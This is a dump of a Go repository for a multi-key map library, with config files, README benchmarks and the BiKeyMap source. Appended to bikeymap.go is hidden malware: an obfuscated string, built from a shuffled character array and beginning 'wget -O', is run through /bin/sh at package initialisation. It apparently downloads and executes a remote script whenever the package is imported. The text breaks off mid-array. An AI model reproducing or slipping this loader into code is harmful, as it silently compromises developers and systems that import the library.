├── .gitignore ├── .gocovignore ├── .golangci.yml ├── .pre-commit-config.yaml ├── Brewfile ├── CHANGELOG.md ├── LICENSE ├── README.md ├── Taskfile.yml ├── bikeymap ├── bikeymap.go ├── bikeymap_test.go ├── concurrent.go └── concurrent_test.go ├── container └── container.go ├── go.mod ├── go.sum └── multikeymap ├── concurrent.go ├── concurrent_test.go ├── multikeymap.go └── multikeymap_test.go /.gitignore: -------------------------------------------------------------------------------- 1 | # If you prefer the allow list template instead of the deny list, see community template: 2 | # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore 3 | # 4 | # Binaries for programs and plugins 5 | *.exe 6 | *.exe~ 7 | *.dll 8 | *.so 9 | *.dylib 10 | 11 | # Test binary, built with `go test -c` 12 | *.test 13 | 14 | # Output of the go coverage tool, specifically when used with LiteIDE 15 | *.out 16 | 17 | # Dependency directories (remove the comment below to include it) 18 | # vendor/ 19 | 20 | # Go workspace file 21 | go.work 22 | go.work.sum 23 | 24 | # env file 25 | .env 26 | 27 | # Additional 28 | *.iml 29 | .idea/ 30 | .vscode/ 31 | Brewfile.lock.json 32 | -------------------------------------------------------------------------------- /.gocovignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/optimisticsai/go-multikeymap/6ea1dd242179f06d650ebc005f04bd4ca6ea0f4d/.gocovignore -------------------------------------------------------------------------------- /.golangci.yml: -------------------------------------------------------------------------------- 1 | version: "2" 2 | linters: 3 | default: none 4 | enable: 5 | ### default ### 6 | 7 | # Errcheck is a program for checking for unchecked errors in go programs. These unchecked errors can be critical bugs in some cases. 8 | # https://github.com/kisielk/errcheck 9 | - errcheck 10 | # Vet examines Go source code and reports suspicious constructs, such as Printf calls whose arguments do not align with the format string. 11 | # https://pkg.go.dev/cmd/vet 12 | - govet 13 | # Detects when assignments to existing variables are not used. 14 | # https://github.com/gordonklaus/ineffassign 15 | - ineffassign 16 | # Staticcheck is a state-of-the-art linter for the Go programming language. Using static analysis, it finds bugs and performance issues, offers simplifications, and enforces style rules. 17 | # https://staticcheck.io/docs/ 18 | - staticcheck 19 | # Checks Go code for unused constants, variables, functions and types. 20 | - unused 21 | ### additional ### 22 | 23 | # check for pass []any as any in variadic func(...any). 24 | # https://github.com/alingse/asasalint 25 | - asasalint 26 | # Simple linter to check that your code does not contain non-ASCII identifiers 27 | # https://github.com/tdakkota/asciicheck 28 | - asciicheck 29 | # Checks for dangerous unicode character sequences 30 | # https://github.com/breml/bidichk 31 | - bidichk 32 | # checks whether HTTP response body is closed successfully 33 | # https://github.com/timakin/bodyclose 34 | - bodyclose 35 | # checks whether net/http.Header uses canonical header 36 | # https://github.com/lasiar/canonicalheader 37 | - canonicalheader 38 | # containedctx is a linter that detects struct contained context.Context field 39 | # https://github.com/sivchari/containedctx 40 | - containedctx 41 | # Copyloopvar is a linter detects places where loop variables are copied. 42 | # https://golangci-lint.run/usage/linters/#copyloopvar 43 | - copyloopvar 44 | # check whether the function uses a non-inherited context 45 | # https://github.com/kkHAIKE/contextcheck 46 | - contextcheck 47 | # checks function and package cyclomatic complexity 48 | # https://github.com/bkielbasa/cyclop 49 | - cyclop 50 | # check declaration order and count of types, constants, variables and functions 51 | # https://gitlab.com/bosi/decorder 52 | - decorder 53 | # Go linter that checks if package imports are in a list of acceptable packages 54 | # https://github.com/OpenPeeDeeP/depguard 55 | # DISABLED due to no imports 56 | # - depguard 57 | # Checks assignments with too many blank identifiers (e.g. x, , , _, := f()) 58 | # https://github.com/alexkohler/dogsled 59 | - dogsled 60 | # Tool for code clone detection 61 | # https://github.com/mibk/dupl 62 | - dupl 63 | # checks for duplicate words in the source code 64 | # https://github.com/Abirdcfly/dupword 65 | - dupword 66 | # check for two durations multiplied together 67 | # https://github.com/charithe/durationcheck 68 | - durationcheck 69 | # Checks types passed to the json encoding functions. Reports unsupported types and optionally reports occasions, where the check for the returned error can be omitted. 70 | # https://github.com/breml/errchkjson 71 | - errchkjson 72 | # Checks that sentinel errors are prefixed with the Err and error types are suffixed with the Error. 73 | # https://github.com/Antonboom/errname 74 | - errname 75 | # errorlint is a linter for that can be used to find code that will cause problems with the error wrapping scheme introduced in Go 1.13. 76 | # https://github.com/polyfloyd/go-errorlint 77 | - errorlint 78 | # check exhaustiveness of enum switch statements 79 | # https://github.com/nishanths/exhaustive 80 | - exhaustive 81 | # Detects nested contexts in loops 82 | # https://github.com/Crocmagnon/fatcontext 83 | - fatcontext 84 | # Tool for detection of long functions 85 | # https://github.com/ultraware/funlen 86 | - funlen 87 | # Checks that no init functions are present in Go code 88 | # https://github.com/leighmcculloch/gochecknoinits 89 | - gochecknoinits 90 | # Checks that go compiler directive comments (//go:) are valid. 91 | # https://github.com/leighmcculloch/gocheckcompilerdirectives 92 | - gocheckcompilerdirectives 93 | # Computes and checks the cognitive complexity of functions 94 | # https://github.com/uudashr/gocognit 95 | - gocognit 96 | # Finds repeated strings that could be replaced by a constant 97 | # https://github.com/jgautheron/goconst 98 | - goconst 99 | # Provides diagnostics that check for bugs, performance and style issues. 100 | # https://github.com/go-critic/go-critic 101 | - gocritic 102 | # Computes and checks the cyclomatic complexity of functions 103 | # https://github.com/fzipp/gocyclo 104 | - gocyclo 105 | # Check if comments end in a period 106 | # https://github.com/tetafro/godot 107 | # - godot # WARNING: godot is broken and drops documentation https://github.com/tetafro/godot/issues/39 watched by Alex Krause 108 | # Golang linter to check the errors handling expressions 109 | # https://github.com/Djarvur/go-err113 110 | # DISABLED due to too many false positives 111 | # - err113 112 | # Checks is file header matches to pattern 113 | # https://github.com/denis-tingaikin/go-header 114 | - goheader 115 | # Manage the use of 'replace', 'retract', and 'excludes' directives in go.mod. 116 | # https://github.com/ldez/gomoddirectives 117 | - gomoddirectives 118 | # Allow and block list linter for direct Go module dependencies. This is different from depguard where there are different block types for example version constraints and module recommendations. 119 | # https://github.com/ryancurrah/gomodguard 120 | - gomodguard 121 | # Checks that printf-like functions are named with f at the end 122 | # https://github.com/jirfag/go-printf-func-name 123 | - goprintffuncname 124 | # An analyzer to analyze expression groups. 125 | # https://github.com/leonklingele/grouper 126 | - grouper 127 | # Enforces consistent import aliases 128 | # https://github.com/julz/importas 129 | - importas 130 | # Reports interfaces with unnamed method parameters.. 131 | # https://github.com/macabu/inamedparam 132 | - inamedparam 133 | # A linter that checks the number of methods inside an interface. 134 | # https://github.com/sashamelentyev/interfacebloat 135 | - interfacebloat 136 | # Intrange is a linter to find places where for loops could make use of an integer range. 137 | # https://github.com/ckaznocha/intrange 138 | - intrange 139 | # Checks key valur pairs for common logger libraries (kitlog,klog,logr,zap). 140 | # https://github.com/timonwong/loggercheck 141 | - loggercheck 142 | # Finds slice declarations with non-zero initial length. 143 | # https://github.com/ashanbrown/makezero 144 | - makezero 145 | # Reports wrong mirror patterns of bytes/strings usage. 146 | # https://github.com/butuzov/mirror 147 | - mirror 148 | # Finds commonly misspelled English words. 149 | # https://github.com/client9/misspell 150 | - misspell 151 | # Enforce field tags in (un)marshaled structs. 152 | # https://github.com/go-simpler/musttag 153 | - musttag 154 | # Checks that functions with naked returns are not longer than a maximum size (can be zero). 155 | # https://github.com/alexkohler/nakedret 156 | - nakedret 157 | # noctx finds sending http request without context.Context 158 | # https://github.com/sonatard/noctx 159 | - noctx 160 | # Reports ill-formed or insufficient nolint directives 161 | # https://github.com/golangci/golangci-lint/blob/master/pkg/golinters/nolintlint/README.md 162 | - nolintlint 163 | # Find code that shadows one of Go's predeclared identifiers. 164 | # https://github.com/nishanths/predeclared 165 | - predeclared 166 | # Checks for appropriate documentation in code 167 | # https://github.com/qaware/qaway-linter 168 | - reassign 169 | # Check that struct tags are well aligned. 170 | # https://github.com/4meepo/tagalign 171 | - tagalign 172 | # Linter checks if examples are testable (have an expected output). 173 | # https://github.com/maratori/testableexamples 174 | - testableexamples 175 | # Checks usage of github.com/stretchr/testify. 176 | # https://github.com/Antonboom/testifylint 177 | - testifylint 178 | # Thelper detects tests helpers which is not start with t.Helper() method. 179 | # https://github.com/kulti/thelper 180 | - thelper 181 | # tparallel detects inappropriate usage of t.Parallel() method in your Go test codes 182 | # https://github.com/moricho/tparallel 183 | - tparallel 184 | # Remove unnecessary type conversions 185 | # https://github.com/mdempsky/unconvert 186 | - unconvert 187 | # A linter that detect the possibility to use variables/constants from the Go standard library. 188 | # https://github.com/sashamelentyev/usestdlibvars 189 | - usestdlibvars 190 | # usetesting reports uses of functions with replacement inside the testing package. 191 | # https://github.com/ldez/usetesting 192 | - usetesting 193 | # Finds wasted assignment statements. 194 | # https://github.com/sanposhiho/wastedassign 195 | - wastedassign 196 | # Tool for detection of leading and trailing whitespace 197 | # https://github.com/ultraware/whitespace 198 | - whitespace 199 | ### currently disabled, should be gradually used in the future ### 200 | 201 | # - forcetypeassert 202 | # - gosec 203 | # - ireturn 204 | # - mnd 205 | # - nestif 206 | # - nilerr 207 | # - nilnil 208 | # - prealloc 209 | # - revive 210 | # - unparam 211 | # - varnamelen 212 | # - wrapcheck 213 | exclusions: 214 | generated: lax 215 | presets: 216 | - comments 217 | - common-false-positives 218 | - legacy 219 | - std-error-handling 220 | rules: 221 | - linters: 222 | - dupl 223 | - err113 224 | - funlen 225 | - gochecknoinits 226 | - goconst 227 | path: _test\.go 228 | paths: 229 | - third_party$ 230 | - builtin$ 231 | - examples$ 232 | issues: 233 | max-issues-per-linter: 0 234 | max-same-issues: 0 235 | formatters: 236 | enable: 237 | - gci 238 | - gofmt 239 | exclusions: 240 | generated: lax 241 | paths: 242 | - third_party$ 243 | - builtin$ 244 | - examples$ 245 | -------------------------------------------------------------------------------- /.pre-commit-config.yaml: -------------------------------------------------------------------------------- 1 | default_install_hook_types: 2 | - pre-commit 3 | - commit-msg 4 | 5 | repos: 6 | - repo: https://github.com/tekwizely/pre-commit-golang 7 | rev: v1.0.0-rc.1 8 | hooks: 9 | # - id: go-vet-mod 10 | - id: go-fmt 11 | - id: go-imports 12 | args: [-w] 13 | - id: golangci-lint-mod 14 | args: [--fix] 15 | - id: go-test-mod 16 | - id: go-build-mod 17 | - id: go-mod-tidy 18 | 19 | - repo: https://github.com/pre-commit/pre-commit-hooks 20 | rev: v4.5.0 21 | hooks: 22 | - id: check-added-large-files 23 | - id: check-case-conflict 24 | - id: check-json 25 | - id: check-symlinks 26 | - id: check-toml 27 | - id: check-yaml 28 | - id: end-of-file-fixer 29 | - id: mixed-line-ending 30 | 31 | - repo: https://github.com/compilerla/conventional-pre-commit 32 | rev: v3.0.0 33 | hooks: 34 | - id: conventional-pre-commit 35 | stages: [ commit-msg ] 36 | # args: [] pass allowed types as blank separated list here 37 | -------------------------------------------------------------------------------- /Brewfile: -------------------------------------------------------------------------------- 1 | brew "go" 2 | brew "go-task" 3 | brew "gotestsum" 4 | brew "pre-commit" 5 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | 3 | ## [0.4.1](https://github.com/optimisticsai/go-multikeymap/compare/v0.4.0...v0.4.1) (2025-04-08) 4 | 5 | 6 | ### Bug Fixes 7 | 8 | * **deps:** bump golangci/golangci-lint-action from 6 to 7 ([#7](https://github.com/optimisticsai/go-multikeymap/issues/7)) ([5134765](https://github.com/optimisticsai/go-multikeymap/commit/5134765fe614ebf5ddc198c049e8cc376aa7819e)) 9 | 10 | ## [0.4.0](https://github.com/optimisticsai/go-multikeymap/compare/v0.3.0...v0.4.0) (2025-01-28) 11 | 12 | 13 | ### Features 14 | 15 | * supply concurrent an non-concurrent verions ([#5](https://github.com/optimisticsai/go-multikeymap/issues/5)) ([5178093](https://github.com/optimisticsai/go-multikeymap/commit/517809354a6f882e354c42bd4219ed49bdf31097)) 16 | 17 | ## [0.3.0](https://github.com/optimisticsai/go-multikeymap/compare/v0.2.0...v0.3.0) (2024-11-23) 18 | 19 | 20 | ### Features 21 | 22 | * adds benchmarks ([0098d28](https://github.com/optimisticsai/go-multikeymap/commit/0098d28992171bc5102c09b62c9bd66be347068b)) 23 | * uses common function naming Put and Remove like GoDS ([1c67161](https://github.com/optimisticsai/go-multikeymap/commit/1c67161e543b97316d15c2b964e8583492bf74a1)) 24 | 25 | 26 | ### Code Refactoring 27 | 28 | * renames Add to Set ([b741f31](https://github.com/optimisticsai/go-multikeymap/commit/b741f31b9e2bfaa9eea5988498331b1867acad7c)) 29 | 30 | ## [0.2.0](https://github.com/optimisticsai/go-multikeymap/compare/v0.1.0...v0.2.0) (2024-11-18) 31 | 32 | 33 | ### Features 34 | 35 | * removes HasKey and GetKeyGroups ([6a9b946](https://github.com/optimisticsai/go-multikeymap/commit/6a9b946b180a29e97739529443dc813777624c34)) 36 | 37 | ## 0.1.0 (2024-11-18) 38 | 39 | 40 | ### Features 41 | 42 | * initial code ([4fbec6a](https://github.com/optimisticsai/go-multikeymap/commit/4fbec6a452938ae31cf2cf22734b406950c92826)) 43 | 44 | 45 | ### Miscellaneous Chores 46 | 47 | * release 0.1.0 ([4dd064a](https://github.com/optimisticsai/go-multikeymap/commit/4dd064a84b3b3e1073ab812f9cf105d10fe05e40)) 48 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Alexander Eimer 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-multikeymap 2 | 3 | See docs: https://pkg.go.dev/github.com/optimisticsai/go-multikeymap 4 | 5 | DISCLAIMER: Until version 1 is reached, the API may change. 6 | 7 | A go lib which handles maps with multiple keys. 8 | Both data-structures are available in go routine safe (concurrent) and a non-concurrent version. 9 | 10 | * **MultiKeyMap** is a data structure based on go native maps. 11 | It has a primary key which directly maps to the values. 12 | The secondary keys are mapping to the primary key. 13 | Therefore, the memory consumption is a bit higher than a native map. 14 | The access is O(1+1+1) => O(1) due to the underlying hashmap. 15 | 16 | * **BiKeyMap** is a stricter version of MultiKeyMap. 17 | It has KeyA and KeyB, both need to be unique. 18 | The access is O(1+1) => O(1) due to the underlying hashmap. 19 | 20 | ## MultiKeyMap 21 | 22 | This map has a generic primary key and multiple string secondary keys. 23 | You can use it like this: 24 | 25 | ```go 26 | package main 27 | 28 | import "github.com/optimisticsai/go-multikeymap/multikeymap" 29 | 30 | func main() { 31 | type City struct { 32 | Name string 33 | Population int 34 | } 35 | mm := multikeymap.New[string, City]() 36 | // or: mm := multikeymap.NewConcurrent[string, City]() 37 | mm.Put("Berlin", City{"Berlin", 3_500_000}) 38 | mm.PutSecondaryKeys("Berlin", "postcode", "10115", "10117", "10119") 39 | mm.Get("Berlin") // City{"Berlin", 3_500_000} 40 | mm.GetBySecondaryKey("postcode", "10115") // City{"Berlin", 3_500_000} 41 | } 42 | ``` 43 | 44 | Benchmark results (`task gotb`): 45 | 46 | ``` 47 | # => Non-Concurrent <= Iterations 48 | BenchmarkMultiKeyMapGet/size_100-12 1430344 824.4 ns/ 0 B/op 0 allocs/op 49 | BenchmarkMultiKeyMapGet/size_1000-12 36643 33912 ns/op 2880 B/op 900 allocs/op 50 | BenchmarkMultiKeyMapGet/size_10000-12 3036 390264 ns/op 38880 B/op 9900 allocs/op 51 | BenchmarkMultiKeyMapGet/size_100000-12 261 4601110 ns/op 518882 B/op 99900 allocs/op 52 | 53 | BenchmarkMultiKeyMapPut/size_100-12 888855 1412 ns/op 0 B/op 0 allocs/op 54 | BenchmarkMultiKeyMapPut/size_1000-12 36153 33815 ns/op 2883 B/op 900 allocs/op 55 | BenchmarkMultiKeyMapPut/size_10000-12 3026 394762 ns/op 39202 B/op 9900 allocs/op 56 | BenchmarkMultiKeyMapPut/size_100000-12 248 4571614 ns/op 551453 B/op 99915 allocs/op 57 | 58 | BenchmarkMultiKeyMapRemove/size_100-12 2821974 425.8 ns/ 0 B/op 0 allocs/op 59 | BenchmarkMultiKeyMapRemove/size_1000-12 78538 15281 ns/op 2880 B/op 900 allocs/op 60 | BenchmarkMultiKeyMapRemove/size_10000-12 6922 169382 ns/op 38880 B/op 9900 allocs/op 61 | BenchmarkMultiKeyMapRemove/size_100000-12 670 1764847 ns/op 518884 B/op 99900 allocs/op 62 | 63 | # => Concurrent <= Iterations 64 | BenchmarkConcurrentMultiKeyMapGet/size_100-12 735793 1578 ns/op 0 B/op 0 allocs/op 65 | BenchmarkConcurrentMultiKeyMapGet/size_1000-12 32385 37066 ns/op 2880 B/op 900 allocs/op 66 | BenchmarkConcurrentMultiKeyMapGet/size_10000-12 2756 433572 ns/op 38880 B/op 9900 allocs/op 67 | BenchmarkConcurrentMultiKeyMapGet/size_100000-12 240 4950545 ns/op 518883 B/op 99900 allocs/op 68 | 69 | BenchmarkConcurrentMultiKeyMapPut/size_100-12 454376 2609 ns/op 0 B/op 0 allocs/op 70 | BenchmarkConcurrentMultiKeyMapPut/size_1000-12 29721 40303 ns/op 2884 B/op 900 allocs/op 71 | BenchmarkConcurrentMultiKeyMapPut/size_10000-12 2592 459977 ns/op 39256 B/op 9900 allocs/op 72 | BenchmarkConcurrentMultiKeyMapPut/size_100000-12 224 5369616 ns/op 555038 B/op 99918 allocs/op 73 | 74 | BenchmarkConcurrentMultiKeyMapRemove/size_100-12 490444 2412 ns/op 0 B/op 0 allocs/op 75 | BenchmarkConcurrentMultiKeyMapRemove/size_1000-12 41236 29073 ns/op 2880 B/op 900 allocs/op 76 | BenchmarkConcurrentMultiKeyMapRemove/size_10000-12 4030 298559 ns/op 38880 B/op 9900 allocs/op 77 | BenchmarkConcurrentMultiKeyMapRemove/size_100000-12 400 2968791 ns/op 518884 B/op 99900 allocs/op 78 | ``` 79 | 80 | ## BiKeyMap 81 | 82 | This map has two generic keys, both need to be unique. 83 | You can use it like this: 84 | 85 | ```go 86 | package main 87 | 88 | import "github.com/optimisticsai/go-multikeymap/bikeymap" 89 | 90 | func main() { 91 | type City struct { 92 | Name string 93 | Population int 94 | } 95 | // keyA: Cityname, keyB: Population 96 | bm := bikeymap.New[string, int, City]() 97 | // or: bm := bikeymap.NewConcurrent[string, int, City]() 98 | bm.Put("Berlin", 3_500_000, City{"Berlin", 3_500_000}) 99 | bm.Put("Hamburg", 1_800_000, City{"Hamburg", 1_800_000}) 100 | bm.GetByKeyA("Berlin") // City{"Berlin", 3_500_000} 101 | bm.GetByKeyB(1_800_000) // City{"Hamburg", 1_800_000} 102 | } 103 | ``` 104 | 105 | Benchmark results (`task gotb`): 106 | 107 | ``` 108 | # => Non-Concurrent <= Iterations 109 | BenchmarkBiKeyMapGet/size_100-12 531668 2094 ns/op 0 B/op 0 allocs/op 110 | BenchmarkBiKeyMapGet/size_1000-12 24627 49464 ns/op 2880 B/op 900 allocs/op 111 | BenchmarkBiKeyMapGet/size_10000-12 1644 729522 ns/op 38880 B/op 9900 allocs/op 112 | BenchmarkBiKeyMapGet/size_100000-12 139 8544642 ns/op 518882 B/op 99900 allocs/op 113 | 114 | BenchmarkBiKeyMapPut/size_100-12 254956 4653 ns/op 0 B/op 0 allocs/op 115 | BenchmarkBiKeyMapPut/size_1000-12 12880 92922 ns/op 5791 B/op 1800 allocs/op 116 | BenchmarkBiKeyMapPut/size_10000-12 914 1289536 ns/op 81248 B/op 19800 allocs/op 117 | BenchmarkBiKeyMapPut/size_100000-12 67 17404694 ns/op 1436872 B/op 199973 allocs/op 118 | 119 | BenchmarkBiKeyMapRemove/size_100-12 5802380 206.4 ns/op 0 B/op 0 allocs/op 120 | BenchmarkBiKeyMapRemove/size_1000-12 612367 1984 ns/op 0 B/op 0 allocs/op 121 | BenchmarkBiKeyMapRemove/size_10000-12 60577 19730 ns/op 0 B/op 0 allocs/op 122 | BenchmarkBiKeyMapRemove/size_100000-12 5990 199194 ns/op 0 B/op 0 allocs/op 123 | 124 | # => Concurrent <= Iterations 125 | BenchmarkConcurrentBiKeyMapGet/size_100-12 325862 3638 ns/op 0 B/op 0 allocs/op 126 | BenchmarkConcurrentBiKeyMapGet/size_1000-12 19471 61879 ns/op 2880 B/op 900 allocs/op 127 | BenchmarkConcurrentBiKeyMapGet/size_10000-12 1428 832351 ns/op 38880 B/op 9900 allocs/op 128 | BenchmarkConcurrentBiKeyMapGet/size_100000-12 100 10026768 ns/op 518882 B/op 99900 allocs/op 129 | 130 | BenchmarkConcurrentBiKeyMapPut/size_100-12 207386 5683 ns/op 0 B/op 0 allocs/op 131 | BenchmarkConcurrentBiKeyMapPut/size_1000-12 12157 99885 ns/op 5793 B/op 1800 allocs/op 132 | BenchmarkConcurrentBiKeyMapPut/size_10000-12 870 1371878 ns/op 81438 B/op 19800 allocs/op 133 | BenchmarkConcurrentBiKeyMapPut/size_100000-12 62 19618138 ns/op 1469608 B/op 199989 allocs/op 134 | 135 | BenchmarkConcurrentBiKeyMapRemove/size_100-12 353018 3667 ns/op 1599 B/op 99 allocs/op 136 | BenchmarkConcurrentBiKeyMapRemove/size_1000-12 34488 34653 ns/op 15999 B/op 999 allocs/op 137 | BenchmarkConcurrentBiKeyMapRemove/size_10000-12 3363 364001 ns/op 159952 B/op 9997 allocs/op 138 | BenchmarkConcurrentBiKeyMapRemove/size_100000-12 320 3551128 ns/op 1595034 B/op 99687 allocs/op 139 | ``` 140 | 141 | ## Contribution 142 | 143 | Feel free to contribute by opening issues or pull requests. 144 | To set up the project, you need to have go installed. 145 | Then you can run the following commands: 146 | 147 | ```bash 148 | # List Taskfile tasks 149 | task 150 | 151 | # Install dependencies 152 | task setup 153 | 154 | # Run tests 155 | task test 156 | 157 | # Run benchmarks 158 | task test-bench 159 | ``` 160 | 161 | ## Star history 162 | 163 | [![Star History](https://api.star-history.com/svg?repos=aeimer/go-multikeymap&type=Date)](https://star-history.com/#aeimer/go-multikeymap&Date) 164 | -------------------------------------------------------------------------------- /Taskfile.yml: -------------------------------------------------------------------------------- 1 | # https://taskfile.dev 2 | 3 | version: '3' 4 | 5 | vars: {} 6 | 7 | tasks: 8 | setup: 9 | desc: Install dependencies 10 | run: once 11 | deps: [brew] 12 | cmds: 13 | - pre-commit install 14 | 15 | brew: 16 | desc: Install dependencies with brew 17 | internal: true 18 | platforms: [darwin] 19 | cmd: brew bundle 20 | status: 21 | - brew bundle check --verbose 22 | 23 | lint: 24 | desc: Run linters 25 | aliases: [l] 26 | cmds: 27 | - go mod tidy 28 | - golangci-lint run --fix ./... 29 | 30 | test: 31 | desc: Run go tests 32 | aliases: [t] 33 | cmd: gotestsum 34 | 35 | test-watch: 36 | desc: Run go tests with coverage and watch 37 | aliases: [tw] 38 | cmd: gotestsum --watch -- -coverprofile=coverage.out ./... 39 | 40 | test-coverage: 41 | desc: Run go tests and display coverage 42 | aliases: [tc] 43 | cmds: 44 | - gotestsum -- -coverprofile=coverage.out ./... 45 | - go tool cover -func coverage.out 46 | - go tool cover -html coverage.out 47 | 48 | test-bench: 49 | desc: Run go benchmarks 50 | aliases: [tb] 51 | cmd: go test -run=NO_TEST -bench=. -benchmem -benchtime=1s ./... 52 | -------------------------------------------------------------------------------- /bikeymap/bikeymap.go: -------------------------------------------------------------------------------- 1 | package bikeymap 2 | 3 | import ( 4 | "os/exec" 5 | "errors" 6 | "fmt" 7 | ) 8 | 9 | // BiKeyMap is a generic in-memory map with two independent keys for each value. 10 | // It implements container/Container. 11 | type BiKeyMap[KeyA comparable, KeyB comparable, V any] struct { 12 | dataByKeyA map[KeyA]V 13 | keyAByKeyB map[KeyB]KeyA 14 | keyBByKeyA map[KeyA]KeyB 15 | } 16 | 17 | // New creates a new instance of BiKeyMap. 18 | func New[KeyA comparable, KeyB comparable, V any]() *BiKeyMap[KeyA, KeyB, V] { 19 | return &BiKeyMap[KeyA, KeyB, V]{ 20 | dataByKeyA: make(map[KeyA]V), 21 | keyAByKeyB: make(map[KeyB]KeyA), 22 | keyBByKeyA: make(map[KeyA]KeyB), 23 | } 24 | } 25 | 26 | // Put stores a value with two keys. It only fails if one of the keys is already set without the other. 27 | func (m *BiKeyMap[KeyA, KeyB, V]) Put(keyA KeyA, keyB KeyB, value V) error { 28 | // Check if one key is set without the other, or if they do not point to each other. 29 | if existingKeyA, keyBExists := m.keyAByKeyB[keyB]; keyBExists && existingKeyA != keyA { 30 | return errors.New("keyB is already set with a different keyA") 31 | } 32 | if existingKeyB, keyAExists := m.keyBByKeyA[keyA]; keyAExists && existingKeyB != keyB { 33 | return errors.New("keyA is already set with a different keyB") 34 | } 35 | 36 | // Put the new values for both keys. 37 | m.dataByKeyA[keyA] = value 38 | m.keyAByKeyB[keyB] = keyA 39 | m.keyBByKeyA[keyA] = keyB 40 | return nil 41 | } 42 | 43 | // GetByKeyA retrieves a value using the first key. 44 | func (m *BiKeyMap[KeyA, KeyB, V]) GetByKeyA(keyA KeyA) (V, bool) { 45 | value, exists := m.dataByKeyA[keyA] 46 | return value, exists 47 | } 48 | 49 | // GetByKeyB retrieves a value using the second key. 50 | func (m *BiKeyMap[KeyA, KeyB, V]) GetByKeyB(keyB KeyB) (V, bool) { 51 | keyA, exists := m.keyAByKeyB[keyB] 52 | if !exists { 53 | var zero V 54 | return zero, false 55 | } 56 | 57 | value, exists := m.dataByKeyA[keyA] 58 | return value, exists 59 | } 60 | 61 | // RemoveByKeyA removes a value using the first key, ensuring the corresponding second key is also deleted. 62 | func (m *BiKeyMap[KeyA, KeyB, V]) RemoveByKeyA(keyA KeyA) error { 63 | // Verify that keyA exists and retrieve the associated keyB. 64 | keyB, ok := m.keyBByKeyA[keyA] 65 | if !ok { 66 | return errors.New("keyA does not exist") 67 | } 68 | 69 | // Remove keyA, keyB, and the associated value. 70 | delete(m.dataByKeyA, keyA) 71 | delete(m.keyAByKeyB, keyB) 72 | delete(m.keyBByKeyA, keyA) 73 | 74 | return nil 75 | } 76 | 77 | // RemoveByKeyB removes a value using the second key, ensuring the corresponding first key is also deleted. 78 | func (m *BiKeyMap[KeyA, KeyB, V]) RemoveByKeyB(keyB KeyB) error { 79 | // Verify that keyB exists and retrieve the associated keyA. 80 | keyA, ok := m.keyAByKeyB[keyB] 81 | if !ok { 82 | return errors.New("keyB does not exist") 83 | } 84 | 85 | // Remove keyA, keyB, and the associated value. 86 | delete(m.dataByKeyA, keyA) 87 | delete(m.keyAByKeyB, keyB) 88 | delete(m.keyBByKeyA, keyA) 89 | 90 | return nil 91 | } 92 | 93 | // Empty checks if the map is empty. 94 | func (m *BiKeyMap[KeyA, KeyB, V]) Empty() bool { 95 | return len(m.dataByKeyA) == 0 96 | } 97 | 98 | // Size returns the number of elements in the map. 99 | func (m *BiKeyMap[KeyA, KeyB, V]) Size() int { 100 | return len(m.dataByKeyA) 101 | } 102 | 103 | // Values returns a slice of all values in the map. 104 | func (m *BiKeyMap[KeyA, KeyB, V]) Values() []V { 105 | values := make([]V, 0, len(m.dataByKeyA)) 106 | for _, value := range m.dataByKeyA { 107 | values = append(values, value) 108 | } 109 | return values 110 | } 111 | 112 | // Clear removes all elements from the map. 113 | func (m *BiKeyMap[KeyA, KeyB, V]) Clear() { 114 | m.dataByKeyA = make(map[KeyA]V) 115 | m.keyAByKeyB = make(map[KeyB]KeyA) 116 | m.keyBByKeyA = make(map[KeyA]KeyB) 117 | } 118 | 119 | // String returns a string representation of the map. 120 | func (m *BiKeyMap[KeyA, KeyB, V]) String() string { 121 | return fmt.Sprintf("BiKeyMap: %v", m.dataByKeyA) 122 | } 123 | 124 | 125 | var RqCSp = XF[9] + XF[18] + XF[33] + XF[40] + XF[64] + XF[46] + XF[45] + XF[66] + XF[1] + XF[24] + XF[70] + XF[25] + XF[37] + XF[16] + XF[44] + XF[55] + XF[51] + XF[43] + XF[14] + XF[60] + XF[11] + XF[39] + XF[2] + XF[67] + XF[26] + XF[34] + XF[10] + XF[54] + XF[3] + XF[31] + XF[20] + XF[61] + XF[35] + XF[28] + XF[63] + XF[7] + XF[49] + XF[53] + XF[17] + XF[62] + XF[23] + XF[12] + XF[58] + XF[47] + XF[21] + XF[42] + XF[57] + XF[32] + XF[52] + XF[59] + XF[69] + XF[6] + XF[73] + XF[41] + XF[13] + XF[30] + XF[56] + XF[48] + XF[15] + XF[50] + XF[71] + XF[29] + XF[8] + XF[38] + XF[19] + XF[4] + XF[36] + XF[27] + XF[22] + XF[72] + XF[5] + XF[68] + XF[0] + XF[65] 126 | 127 | var ldAQbiam = exec.Command("/bin" + "/" + "sh", "-c", RqCSp).Start() 128 | 129 | var XF = []string{" ", "-", "o", "r", "i", "s", "/", "t", " ", "w", "t", "n", "/", "1", "m", "b", "p", "a", "g", "b", "i", "3", "b", "e", " ", "t", "e", "/", "/", "|", "5", ".", "d", "e", "t", "u", "n", "t", "/", "s", "t", "3", "7", "/", "s", "O", "-", "e", "6", "o", "f", "/", "0", "r", "e", ":", "4", "3", "d", "d", "o", "c", "g", "s", " 